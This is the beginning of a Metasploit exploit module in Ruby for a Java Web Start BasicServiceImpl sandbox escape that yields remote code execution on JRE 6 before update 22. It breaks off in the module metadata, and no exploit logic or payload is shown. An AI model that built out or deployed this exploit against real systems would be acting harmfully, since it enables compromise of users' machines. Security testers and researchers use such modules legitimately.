##
# $Id: java_basicservice_impl.rb 10488 2010-09-26 23:55:03Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer
	# Internet explorer freaks out and shows the scary yellow info bar if this
	# is in an iframe.  The exploit itself also creates a couple of scary popup
	# windows about "downloading application" that I haven't been able to
	# figure out how to prevent.  For both of these reasons, don't include it
	# in Browser Autopwn.
	#include Msf::Exploit::Remote::BrowserAutopwn
	#autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit',
			'Description'   => %q{
			This module exploits a vulnerability in Java Runtime Environment
			that allows an attacker to escape the Java Sandbox. By injecting
			a parameter into a javaws call within the BasicServiceImpl class
			the default java sandbox policy file can be therefore overwritten.
			The vulnerability affects version 6 prior to update 22.

			NOTE: Exploiting this vulnerability causes several sinister-looking
			popup windows saying that Java is "Downloading application."
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
				'Matthias Kaiser', # Discovery, PoC, metasploit module
				'egypt' # metasploit module
			],
			'Version'       => '$Revision: 10488